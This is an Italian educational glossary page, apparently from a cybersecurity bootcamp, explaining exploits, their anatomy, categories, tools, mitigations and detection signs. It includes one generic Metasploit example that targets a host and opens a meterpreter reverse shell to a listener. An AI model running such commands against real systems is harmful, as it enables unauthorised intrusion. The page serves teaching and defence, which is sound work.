Perché È Importante
Ogni attacco significativo prima o poi converte una vulnerabilità in impatto, e questa conversione è il lavoro di un exploit. Comprenderli è essenziale per i professionisti offensivi, i difensori che li rilevano e gli ingegneri che costruiscono software resistente.
WannaCry (2017) ha usato l'exploit EternalBlue (CVE-2017-0144) per propagarsi a milioni di sistemi. ProxyLogon (2021) ha compromesso decine di migliaia di organizzazioni. L'ondata di sfruttamento di Ivanti Connect Secure nel 2024 ha mostrato quanto rapidamente il codice exploit venga armato dopo la divulgazione.
Anatomia di un Exploit
Trigger Iniziale
Il percorso di codice vulnerabile viene raggiunto, spesso tramite input artigianali che violano invarianti assunte.
Costruzione delle Primitive
Gli exploit di corruzione memoria concatenano primitive come lettura/scrittura arbitraria e information leak.
Esecuzione del Codice
Una volta dirottato il controllo, l'exploit esegue codice dell'attaccante: shellcode, loader riflettivi, catene ROP.
Post-Sfruttamento
Persistenza, escalation di privilegi, movimento laterale, consegna del payload, spesso con malware staged separatamente.
Categorie
| Categoria | Bersaglio | Esempi |
|---|---|---|
| Corruzione memoria | Programmi C/C++ | Buffer overflow, UAF, type confusion |
| Applicazioni web | Servizi HTTP | SQLi, XSS, SSRF, deserializzazione |
| Logici | Semantica applicativa | Bypass auth, IDOR, race condition |
| Crittografici | Implementazioni crittografiche | Padding oracle, RNG debole |
| Hardware | CPU/firmware | Spectre, Meltdown, Rowhammer |
| Ingegneria sociale | Umani | Phishing |
Framework
# Esempio Metasploit
msfconsole
> search type:exploit cve:2024
> use exploit/multi/http/esempio_rce
> set RHOSTS 10.0.0.5
> set LHOST 10.0.0.10
> set PAYLOAD windows/x64/meterpreter/reverse_tcp
> run- Metasploit Framework
- Cobalt Strike
- Sliver (C2 open-source)
- pwntools
- GDB / pwndbg / WinDbg
Mitigazioni
- Gestione patch focalizzata su CISA KEV.
- Linguaggi memory-safe (Rust, Go).
- Mitigazioni OS e compilatore.
- EDR con prevenzione exploit.
- Sandboxing applicativo.
- Segmentazione di rete.
- Privilegio minimo.
Rilevamento
- Processi figli inattesi da browser o Office
- Iniezione DLL o attività in-memory sospetta
- Binari non firmati da percorsi scrivibili
- Beaconing anomalo post-sfruttamento
Concetti Correlati
Come insegniamo Exploit
Nel nostro Cybersecurity Bootcamp, non imparerai solo la teoria su Exploit. Praticherai con strumenti reali in laboratori pratici, guidato da professionisti del settore che usano questi concetti quotidianamente.
Trattato in:
Modulo 10: Penetration Testing e Hacking Etico
360+ ore di formazione esperta • CompTIA Security+ incluso